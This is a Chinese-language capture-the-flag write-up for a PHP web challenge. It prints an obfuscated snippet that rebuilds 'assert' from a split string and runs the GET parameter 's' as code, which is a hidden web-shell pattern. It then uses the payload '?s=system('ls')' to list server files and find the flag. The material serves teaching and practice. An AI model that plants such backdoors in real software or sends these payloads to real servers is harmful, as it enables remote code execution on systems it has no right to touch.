解题思路
访问页面后,发现内容是一片空白。结合题目描述来看,这通常意味着存在某种逻辑判断或代码执行点。
源码分析
通过抓包或查看源码,我们发现了一段经过混淆的 PHP 逻辑。核心在于利用字符串拼接来构造 assert 函数调用,从而绕过简单的过滤规则。
$poc = "a#s#s#e#r#t";
// explode() 按照 # 分割上面字符串,留下 ["a","s","s","e","r","t"]
$poc_1 = explode("#", $poc);
// 拼接后得到 assert
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
// 最终执行 assert($_GET['s'])
$poc_2($_GET['s']);
这段代码的逻辑非常清晰:它先定义了一个包含特殊分隔符的字符串,然后通过 explode 拆分再重新拼接,还原出 assert 关键字。由于 assert 会执行传入的字符串作为 PHP 代码,且参数来自 $_GET['s'],这意味着我们可以通过 URL 传递任意命令。
漏洞利用
既然确认了是 GET 请求,我们可以在 URL 中传递参数 s。为了验证环境并获取文件列表,我们可以尝试执行系统命令。
访问如下地址(假设当前路径为根目录):
? s=system('ls')
执行后,页面返回了服务器上的文件列表,包括 index.php 和 flaga15808abee46a1d5.txt。
获取 Flag
直接读取 flag 文件即可拿到最终结果。







